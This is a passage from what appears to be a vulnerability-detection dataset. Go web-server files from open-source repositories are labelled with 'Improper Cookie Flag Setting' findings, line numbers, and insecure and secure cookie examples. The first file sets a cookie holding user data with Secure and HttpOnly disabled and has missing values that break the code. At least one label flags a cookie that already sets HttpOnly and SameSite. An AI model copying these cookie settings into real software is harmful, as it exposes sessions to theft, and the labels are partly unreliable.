[]model.User{}\n\n\tfor _, k := range res {\n\t\tusers = append(users, k.User)\n\t}\n\n\tjsonResponse, _ := json.Marshal(users)\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(jsonResponse)\n}\n\n/**\n[POST]\nHandles sign up. Takes in a name, email, userHandle and password, verifies the inputs, and creates the user.\n\nReturns:\n- 200: User was created. Returns ID.\n- 400: If any complexity requirement was not met, an invalid email was sent, or an invalid form was sent.\n- 409: Conflict, if the user was already registered with the email or userHandle.\n- 500: If there is an error on the server (Database error, etc).\n*/\nfunc handleSignUp(w http.ResponseWriter, r *http.Request) {\n\tif parseFormErr := r.ParseForm(); parseFormErr != nil {\n\t\thttp.Error(w, \"Sent invalid form\", 400)\n\t}\n\n\tname := r.FormValue(\"name\")\n\tuserHandle := r.FormValue(\"userHandle\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\n\tif !verifyUserHandle(userHandle) {\n\t\thttp.Error(w, \"Invalid userHandle\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif !verifyEmail(email) {\n\t\thttp.Error(w, \"Invalid email\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif !verifyPassword(password) {\n\t\thttp.Error(w, \"Password does not meet complexity requirements\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\thashed, _ := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\n\turChannel := make(chan *database.InsertResponse)\n\tgo createUser(\n\t\tmodel.User{Name: name, UserHandle: userHandle, Email: email, Password: },\n\t\turChannel,\n\t)\n\tcreatedUser := <-urChannel\n\n\tif createdUser.Err != nil {\n\t\tlog.Println(createdUser.Err)\n\n\t\tif strings.Contains(createdUser.Err.Error(), \"E11000\") {\n\t\t\tif strings.Contains(createdUser.Err.Error(), \"index: userHandle_1\") {\n\t\t\t\thttp.Error(w, \"Userhandle \"+userHandle+\" already registered\", http.StatusConflict)\n\t\t\t} else {\n\t\t\t\thttp.Error(w, \"Email \"+email+\" already registered\", http.StatusConflict)\n\t\t\t}\n\t\t} else {\n\t\t\tcommon.SendInternalServerError(w)\n\t\t}\n\n\t} else {\n\t\tlog.Println(\"Created user with ID \" + createdUser.ID)\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, wError := w.Write([]byte(\"Created user with ID \" + createdUser.ID))\n\n\t\tif wError != nil {\n\t\t\tlog.Println(\"Error while writing: \" + wError.Error())\n\t\t}\n\t}\n\n}\n\n/**\n[POST]\nHandles a login request.\n\nReturns:\n- 200: OK, if the username and password match. Will return the userinfo, and set userinfo and JWT cookies\n- 404: If the user was not found, or the username and password don't match. (there is no difference here.)\n- 500: If there is an internal server error.\n*/\nfunc handleLogin(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tparseFormErr := r.ParseForm()\n\n\tif parseFormErr != nil {\n\t\thttp.Error(w, \"Sent invalid form\", http.StatusBadRequest)\n\t} else {\n\t\temail := r.FormValue(\"email\")\n\t\tpassword := r.FormValue(\"password\")\n\n\t\tchannel := make(chan FindUserResponse)\n\t\tgo GetUserWithLogin(email, password, channel)\n\n\t\tres := <-channel\n\n\t\tif res.Err != nil {\n\t\t\tif res.Err.Error() == UserNotFound || res.Err.Error() == PasswordNotMatching {\n\t\t\t\thttp.Error(w, \"Provided email/password do not match\", http.StatusNotFound)\n\t\t\t} else {\n\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t}\n\t\t} else {\n\t\t\ttoken, expiry, jwtErr := middleware.CreateLoginToken(res.User)\n\n\t\t\tif jwtErr != nil {\n\t\t\t\tlog.Println(jwtErr)\n\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t} else {\n\t\t\t\tres.User.Password = \n\t\t\t\tjsonResponse, jsonErr := json.Marshal(res.User)\n\n\t\t\t\tif jsonErr != nil {\n\t\t\t\t\tlog.Println(jsonErr)\n\t\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t\t} else {\n\n\t\t\t\t\tjsonEncodedCookie := strings.ReplaceAll(string(jsonResponse), \"\\\"\", \"'\") // Have to do this to Set-Cookie in psuedo-JSON format.\n\n\t\t\t\t\t_, inProduction := os.LookupEnv(\"PRODUCTION\")\n\n\t\t\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\t\t\tName: \"token\",\n\t\t\t\t\t\tValue: token,\n\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\tExpires: expiry,\n\t\t\t\t\t\tRawExpires: expiry.String(),\n\t\t\t\t\t\tSecure: inProduction,\n\t\t\t\t\t\tHttpOnly: true,\n\t\t\t\t\t\tSameSite: 0,\n\t\t\t\t\t})\n\n\t\t\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\t\t\tName: \"userinfo\",\n\t\t\t\t\t\tValue: jsonEncodedCookie,\n\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\tExpires: expiry,\n\t\t\t\t\t\tRawExpires: expiry.String(),\n\t\t\t\t\t\tSecure: false,\n\t\t\t\t\t\tHttpOnly: false,\n\t\t\t\t\t\tSameSite: 0,\n\t\t\t\t\t})\n\n\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tw.Write(jsonResponse)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc ServeUserRoutes(r *mux.Router) {\n\tr.HandleFunc(\"/signup\", handleSignUp).Methods(\"POST\")\n\tr.HandleFunc(\"/login\", handleLogin).Methods(\"POST\")\n\tr.HandleFunc(\"/getUsers\", getUsers).Methods(\"GET\")\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 235, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "8251ef0bb65d55693734e6084a7eacad727251927d209731e8642323f15ca1f0", "license": {"spdx": ["Apache-2.0"], "repo": "function61/id", "path": "cmd/id/server.go", "repo_head_hexsha": "831b668955fc3cb81c7dfe184ac944ac03efd0db", "stack_hexsha": "74fcf42152ee0a388ac315a052f203a77068319b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 138, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"crypto/ed25519\"\n\t\"embed\"\n\t\"errors\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"log\"\n\t\"math/rand\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/function61/gokit/envvar\"\n\t\"github.com/function61/gokit/httputils\"\n\t\"github.com/function61/gokit/jsonfile\"\n\t\"github.com/function61/id/pkg/httpauth\"\n\t\"github.com/gorilla/mux\"\n\tlegacyed25519 \"golang.org/x/crypto/ed25519\"\n\t\"gopkg.in/square/go-jose.v2\"\n)\n\n//go:embed templates\nvar templateFiles embed.FS\n\nvar templates, _ = template.ParseFS(templateFiles, \"templates/*.html\")\n\nfunc newHttpHandler() (http.Handler, error) {\n\trouter := mux.NewRouter()\n\n\trand.Seed(time.Now().UnixNano())\n\n\tsigner, signerPublicKey, err := loadSignerAndPublicKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsignerPubKeySetJson, err := makeSignerKeySet(signerPublicKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"makeSignerKeySet: %w\", err)\n\t}\n\n\tauthenticator, err := httpauth.NewJwtAuthenticator(signerPublicKey, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuserRegistry := newUserRegistry()\n\n\trouter.HandleFunc(\"/id\", func(w http.ResponseWriter, r *http.Request) {\n\t\tnextValidated, _, err := getValidatedNext(r, redirectAllowList)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\n\t\tif err := templates.Lookup(\"login.html\").Execute(w, struct {\n\t\t\tNext string\n\t\t\tNextHumanReadable string\n\t\t\tBackgroundImage string\n\t\t}{\n\t\t\tNext: nextValidated.String(),\n\t\t\tNextHumanReadable: nextValidated.Host,\n\t\t\tBackgroundImage: randomBackgroundImage(),\n\t\t}); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}).Methods(http.MethodGet)\n\n\trouter.HandleFunc(\"/id\", func(w http.ResponseWriter, r *http.Request) {\n\t\tnextValidated, audience, err := getValidatedNext(r, redirectAllowList)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\temail := r.PostFormValue(\"email\")\n\t\tpassword := r.PostFormValue(\"password\")\n\n\t\tif email == \"\" || password == \"\" {\n\t\t\thttp.Error(w, \"email or password empty\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tuser := userRegistry.CheckLogin(email, password)\n\t\tif user == nil {\n\t\t\t// TODO: ponder about this. OTOH PBKDF2 has built-in slowness, but things could\n\t\t\t// change when running on Lambda?\n\t\t\ttime.Sleep(2 * time.Second)\n\n\t\t\thttp.Error(w, \"invalid email or password\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tuserDetails := httpauth.NewUserDetails(user.Id, \"\")\n\n\t\tjwt := signer.Sign(*userDetails, audience, time.Now())\n\n\t\tlog.Printf(\"login ok for %s\", email)\n\n\t\tqueryParams := nextValidated.Query()\n\t\tqueryParams.Set(\"token\", jwt)\n\t\tnextValidated.RawQuery = queryParams.Encode()\n\n\t\thttputils.NoCacheHeaders(w)\n\t\thttp.Redirect(w, r, nextValidated.String(), http.StatusFound)\n\t}).Methods(http.MethodPost)\n\n\trouter.HandleFunc(\"/id/profile\", func(w http.ResponseWriter, r *http.Request) {\n\t\tauth, err := authenticator.Authenticate(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\tuser := userRegistry.UserById(auth.Id)\n\t\tif user == nil {\n\t\t\thttp.Error(w, \"authenticated user not found\", http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t_ = jsonfile.Marshal(w, &user)\n\t})\n\n\trouter.HandleFunc(\"/id/logout\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttputils.NoCacheHeaders(w)\n\n\t\thttp.SetCookie(w, httpauth.DeleteLoginCookie())\n\n\t\tfmt.Fprintln(w, \"You have been logged out.\")\n\t})\n\n\trouter.HandleFunc(\"/id/.well-known/jwks.json\", func(w http.ResponseWriter, r *http.Request) {\n\t\t// https://tools.ietf.org/html/rfc7517\n\t\tw.Header().Set(\"Content-Type\", \"application/jwk-set+json\")\n\t\t_, _ = w.Write(signerPubKeySetJson)\n\t})\n\n\treturn router, nil\n}\n\nfunc getValidatedNext(r *http.Request, redirectAllowList map[string]string) (*url.URL, string, error) {\n\tnext := r.URL.Query().Get(\"next\")\n\tif next == \"\" {\n\t\treturn nil, \"\", errors.New(\"'next' not set\")\n\t}\n\n\tnextUrl, err := url.Parse(next)\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"'next' not valid URL: %v\", err)\n\t}\n\n\tmatches, audience := hostMatchesAllowList(nextUrl.Host, redirectAllowList)\n\tif !matches {\n\t\treturn nil, \"\", fmt.Errorf(\"'next' hostname (%s) not in allow list\", nextUrl.Host)\n\t}\n\n\treturn nextUrl, audience, nil\n}\n\nfunc loadSignerAndPublicKey() (httpauth.Signer, ed25519.PublicKey, error) {\n\tsigningKey, err := loadSigningPrivateKey()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tsigner, err := httpauth.NewJwtSigner(signingKey)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn signer, signingKey.Public().(ed25519.PublicKey), nil\n}\n\nfunc loadSigningPrivateKey() (ed25519.PrivateKey, error) {\n\tpk, err := envvar.Required(\"SIGNING_PRIVATE_KEY\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn unmarshalPrivateKey(pk)\n}\n\nfunc randomBackgroundImage() string {\n\tmaxBackgroundNumber := 20\n\n\t// Intn() returns between 1 and n-1 so we'll adjust to between (1, n)\n\treturn fmt.Sprintf(\n\t\t\"https://function61.com/files/id-backgrounds/%d.jpg\",\n\t\t1+rand.Intn(maxBackgroundNumber))\n}\n\nfunc makeSignerKeySet(signerPublicKey ed25519.PublicKey) ([]byte, error) {\n\tjwk := jose.JSONWebKey{\n\t\tKey: legacyed25519.PublicKey(signerPublicKey), // go-jose uses outdated module location\n\t}\n\n\tkeySetJson := bytes.Buffer{}\n\tif err := jsonfile.Marshal(&keySetJson, jose.JSONWebKeySet{\n\t\tKeys: []jose.JSONWebKey{jwk},\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn keySetJson.Bytes(), nil\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 138, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "2b7a14a64ea822c3e7b43b753e9cbf348167cbde5be773758a2ce461abbe92a3", "license": {"spdx": ["Apache-2.0"], "repo": "DerbyStats/wsproxy", "path": "wsmux/main.go", "repo_head_hexsha": "202bd1619c266930fa8cd3bab737acbda0dd1713", "stack_hexsha": "7542e46388df9d9c3f9ff3736597af7e112ed40f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 292, "entireCode": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"os/signal\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/go-kit/kit/log\"\n\t\"github.com/go-kit/kit/log/level\"\n\t\"github.com/google/uuid\"\n\t\"github.com/gorilla/mux\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n\t\"github.com/prometheus/client_golang/prometheus/promhttp\"\n\t\"gopkg.in/ini.v1\"\n\n\t\"github.com/DerbyStats/wsproxy/pkg/keyfilter\"\n\t\"github.com/DerbyStats/wsproxy/pkg/namegen\"\n\t\"github.com/DerbyStats/wsproxy/pkg/wsstate\"\n\t\"github.com/DerbyStats/wsproxy/proxy\"\n)\n\nvar (\n\tnameCollisions = promauto.NewSummary(prometheus.SummaryOpts{\n\t\tName: \"ds_wsmux_namegen_collisions\",\n\t\tHelp: \"Number of collisions encountered when generating a name.\",\n\t})\n\tinvalidCookies = promauto.NewCounter(prometheus.CounterOpts{\n\t\tName: \"ds_wsmux_session_cookies_invalid_total\",\n\t\tHelp: \"Number of invalid cookies presented.\",\n\t})\n\tnewListenerDuration = promauto.NewHistogram(prometheus.HistogramOpts{\n\t\tName: \"ds_wsmux_new_listener_duration_seconds\",\n\t\tHelp: \"Time to create new listeners.\",\n\t})\n\thttpDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{\n\t\tName: \"ds_wsmux_http_duration_seconds\",\n\t\tHelp: \"Duration of non-WS HTTP requests.\",\n\t}, []string{\"host\", \"path\"})\n\thttpBytes = promauto.NewSummaryVec(prometheus.SummaryOpts{\n\t\tName: \"ds_wsmux_http_response_bytes\",\n\t\tHelp: \"Bytes sent in non-WS HTTP responses.\",\n\t}, []string{\"host\", \"path\"})\n)\n\nconst (\n\tcookieName = \"wsmux\"\n\tcookieFileName = \"cookieId\"\n)\n\ntype WSMux struct {\n\tctx context.Context\n\tlogger log.Logger\n\tkf *keyfilter.KeyFilter\n\texternalURL *url.URL\n\n\tmu sync.Mutex\n\t// Listeners that are currently active.\n\tlisteners map[string]*proxy.WSListener\n\t// Potential listeners that are not currently active.\n\toldListeners map[string]*ListenerInfo\n}\n\nfunc NewWSMux(ctx context.Context, logger log.Logger, kf *keyfilter.KeyFilter, externalURL *url.URL) *WSMux {\n\tfiles, err := filepath.Glob(\"data/*/state.json\")\n\tif err != nil {\n\t\t// Should never happen.\n\t\tpanic(err)\n\t}\n\toldListeners := map[string]*ListenerInfo{}\n\tfor _, fn := range files {\n\t\tli := &ListenerInfo{Name: filepath.Base(filepath.Dir(fn))}\n\t\tfi, err := os.Stat(fn)\n\t\tli.LastUpdated = fi.ModTime()\n\t\tif err != nil {\n\t\t\tlevel.Debug(logger).Log(\"msg\", \"Error stating state file\", \"path\", fn, \"err\", err)\n\t\t\tcontinue\n\t\t}\n\t\tstate, err := wsstate.ReadStateFile(fn)\n\t\tif err != nil {\n\t\t\tlevel.Debug(logger).Log(\"msg\", \"Error reading state file\", \"path\", fn, \"err\", err)\n\t\t\tcontinue\n\t\t}\n\t\tli.Summary = state.Summary()\n\t\tif li.Summary != \"\" {\n\t\t\toldListeners[li.Name] = li\n\t\t}\n\t}\n\n\treturn &WSMux{\n\t\tctx: ctx,\n\t\tlogger: logger,\n\t\tkf: kf,\n\t\texternalURL: externalURL,\n\t\tlisteners: map[string]*proxy.WSListener{},\n\t\toldListeners: oldListeners,\n\t}\n}\n\ntype ListenerInfo struct {\n\tName string\n\tLastUpdated time.Time\n\tClients int\n\tSummary string\n}\n\n// Listeners returns information about all Listeners.\nfunc (m *WSMux) Listeners() []*ListenerInfo {\n\tm.mu.Lock()\n\tres := make([]*ListenerInfo, 0, len(m.listeners)+len(m.oldListeners))\n\tfor name, l := range m.listeners {\n\t\tlu, c, s := l.Status()\n\t\tli := &ListenerInfo{\n\t\t\tName: name,\n\t\t\tLastUpdated: lu,\n\t\t\tClients: c,\n\t\t\tSummary: s.Summary(),\n\t\t}\n\t\tres = append(res, li)\n\t}\n\tfor _, ol := range m.oldListeners {\n\t\tres = append(res, ol)\n\t}\n\tm.mu.Unlock()\n\n\treturn res\n}\n\nfunc (m *WSMux) Run() {\n\tt := time.NewTicker(time.Minute)\n\tdefer t.Stop()\n\n\tfor {\n\t\tselect {\n\t\tcase <-t.C:\n\t\t\tm.gc()\n\t\tcase <-m.ctx.Done():\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (m *WSMux) Shutdown() {\n\tm.mu.Lock()\n\tfor name, l := range m.listeners {\n\t\tl.Shutdown()\n\t\tdelete(m.listeners, name)\n\t}\n\tm.mu.Unlock()\n}\n\nfunc (m *WSMux) gc() {\n\tm.mu.Lock()\n\tnow := time.Now()\n\ttype todo struct {\n\t\tname string\n\t\tl *proxy.WSListener\n\t}\n\ttodos := []todo{}\n\tfor name, l := range m.listeners {\n\t\tlu, c, _ := l.Status()\n\t\tif c == 0 && lu.Add(time.Minute*5).Before(now) {\n\t\t\ttodos = append(todos, todo{name: name, l: l})\n\t\t}\n\t}\n\tm.mu.Unlock()\n\n\tfor _, t := range todos {\n\t\tlevel.Debug(m.logger).Log(\"msg\", \"Moving listener to cold storage\", \"listener\", t.name)\n\t\t// Shutdown might take a while, so do it outside the lock.\n\t\tt.l.Shutdown()\n\t\tm.mu.Lock()\n\t\tdelete(m.listeners, t.name)\n\t\tlu, _, state := t.l.Status()\n\t\tli := &ListenerInfo{\n\t\t\tName: t.name,\n\t\t\tLastUpdated: lu,\n\t\t}\n\t\tli.Summary = state.Summary()\n\t\tif li.Summary != \"\" {\n\t\t\t// Don't save it if it was never pushed to.\n\t\t\tm.oldListeners[t.name] = li\n\t\t}\n\t\tm.mu.Unlock()\n\t}\n\tif len(todos) > 0 {\n\t\tlevel.Info(m.logger).Log(\"msg\", \"Moved listeners to cold storage\", \"count\", len(todos))\n\t}\n}\n\nfunc readCookie(r *http.Request) (string, string) {\n\tcookie, err := r.Cookie(cookieName)\n\tif err != nil {\n\t\treturn \"\", \"\"\n\t}\n\tparts := strings.Split(cookie.Value, \":\")\n\tif len(parts) != 2 {\n\t\tinvalidCookies.Inc()\n\t\treturn \"\", \"\"\n\t}\n\tname := parts[0]\n\tsecret := parts[1]\n\t// Untrusted user input, check for directory transversal.\n\tif filepath.Base(name) != name || name == \"\" {\n\t\tinvalidCookies.Inc()\n\t\treturn \"\", \"\"\n\t}\n\tcontent, err := ioutil.ReadFile(filepath.Join(\"data\", name, cookieFileName))\n\tif err != nil {\n\t\tinvalidCookies.Inc()\n\t\treturn \"\", \"\"\n\t}\n\tif string(content) != secret {\n\t\tinvalidCookies.Inc()\n\t\treturn \"\", \"\"\n\t}\n\t// Everything checks out, this is a valid cookie.\n\treturn name, secret\n}\n\nfunc generateName() string {\n\texists := func(name string) bool {\n\t\t_, err := os.Stat(filepath.Join(\"data\", name, cookieFileName))\n\t\treturn !os.IsNotExist(err)\n\t}\n\t// Give a few chances to find a nice name.\n\tfor i := 0; i < 10; i++ {\n\t\tname := namegen.Generate()\n\t\tif !exists(name) {\n\t\t\tnameCollisions.Observe(float64(i))\n\t\t\treturn name\n\t\t}\n\t}\n\tnameCollisions.Observe(10)\n\t// Fallback to a UUID.\n\treturn uuid.New().String()\n}\n\nfunc (m *WSMux) getSessionName(w http.ResponseWriter, r *http.Request) (string, error) {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\tname, secret := readCookie(r)\n\tif name == \"\" {\n\t\tname = generateName()\n\t\tsecret = uuid.New().String() // This is based on crypto/rand.\n\t\tfn := filepath.Join(\"data\", name, cookieFileName)\n\t\terr := os.MkdirAll(filepath.Dir(fn), 0o777)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\t// Concurrent access isn't a concern, but we don't want to write a partial file.\n\t\tf, err := ioutil.TempFile(filepath.Dir(fn), filepath.Base(fn))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer func() {\n\t\t\tf.Close()\n\t\t\tos.Remove(f.Name())\n\t\t}()\n\t\t_, err = f.Write([]byte(secret))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\terr = f.Close()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\terr = os.Rename(f.Name(), fn)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tcookie := &http.Cookie{\n\t\tName: cookieName,\n\t\tValue: name + \":\" + secret,\n\t\tPath: \"/receiver\",\n\t\t// A scoreboard should connect at least once per year.\n\t\tMaxAge: 86400 * 365,\n\t\tHttpOnly: true,\n\t\tSameSite: http.SameSiteStrictMode,\n\t\tSecure: m.externalURL.Scheme == \"https\",\n\t}\n\thttp.SetCookie(w, cookie)\n\treturn name, nil\n}\n\nfunc (m *WSMux) Receive(w http.ResponseWriter, r *http.Request) {\n\tname, err := m.getSessionName(w, r)\n\tif err != nil {\n\t\tlevel.Info(m.logger).Log(\"msg\", \"Error getting session\", \"err\", err)\n\t\thttp.Error(w, fmt.Sprintf(\"Error getting session: %v\", err), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tu := *m.externalURL\n\tu.Host = name + \".\" + u.Host\n\tw.Header().Set(\"Display-URL\", u.String())\n\tlistener := m.getListener(name)\n\tlistener.Receive(w, r)\n}\n\nfunc (m *WSMux) WSHandler(w http.ResponseWriter, r *http.Request) {\n\tsubdomain := mux.Vars(r)[\"subdomain\"]\n\tl := m.getListener(subdomain)\n\tproxy.WSHTTPHandler(w, r, l, log.With(m.logger, \"listener\", subdomain))\n}\n\nfunc (m *WSMux) getListener(name string) *proxy.WSListener {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\tif l, ok := m.listeners[name]; ok {\n\t\treturn l\n\t}\n\t// This does IO, should we move it away from the lock?\n\ttimer := prometheus.NewTimer(newListenerDuration)\n\tl := proxy.NewWSListener(m.ctx, log.With(m.logger, \"listener\", name), m.kf, filepath.Join(\"data\", name, \"state.json\"))\n\ttimer.ObserveDuration()\n\tm.listeners[name] = l\n\tdelete(m.oldListeners, name)\n\treturn l\n}\n\n// Collect implements prometheus.Collector\nfunc (m *WSMux) Collect(ch chan<- prometheus.Metric) {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\tch <- prometheus.MustNewConstMetric(\n\t\tprometheus.NewDesc(\"ds_wsmux_listeners_active\",\n\t\t\t\"Number of active listeners.\", nil, nil),\n\t\tprometheus.GaugeValue, float64(len(m.listeners)))\n\tch <- prometheus.MustNewConstMetric(\n\t\tprometheus.NewDesc(\"ds_wsmux_listeners_old\",\n\t\t\t\"Number of old non-empty listeners, which are only on disk.\", nil, nil),\n\t\tprometheus.GaugeValue, float64(len(m.oldListeners)))\n}\n\n// Describe implements prometheus.Collector\nfunc (m *WSMux) Describe(ch chan<- *prometheus.Desc) {\n\tprometheus.DescribeByCollect(m, ch)\n}\n\n// prometheusMiddleware implements mux.MiddlewareFunc.\nfunc prometheusMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\troute := mux.CurrentRoute(r)\n\t\thost, _ := route.GetHostTemplate()\n\t\tpath, _ := route.GetPathTemplate()\n\t\thost = strings.Split(host, \".\")[0] // Only need the subdomain.\n\t\tvar timer *prometheus.Timer\n\t\tswitch path {\n\t\tcase \"/WS/\", \"/receiver\":\n\t\t\t// Ignore WS paths.\n\t\tdefault:\n\t\t\ttimer = prometheus.NewTimer(httpDuration.WithLabelValues(host, path))\n\t\t\tnext = promhttp.InstrumentHandlerResponseSize(\n\t\t\t\thttpBytes.MustCurryWith(prometheus.Labels{\"host\": host, \"path\": path}), next)\n\t\t}\n\t\tnext.ServeHTTP(w, r)\n\t\tif timer != nil {\n\t\t\ttimer.ObserveDuration()\n\t\t}\n\t})\n}\n\nfunc main() {\n\tlogger := log.NewLogfmtLogger(log.NewSyncWriter(os.Stdout))\n\tf := \"config.ini\"\n\t// First argument can be an alternate config file.\n\tif len(os.Args) >= 2 {\n\t\tf = os.Args[1]\n\t}\n\tcfg, err := ini.ShadowLoad(f)\n\tif err != nil 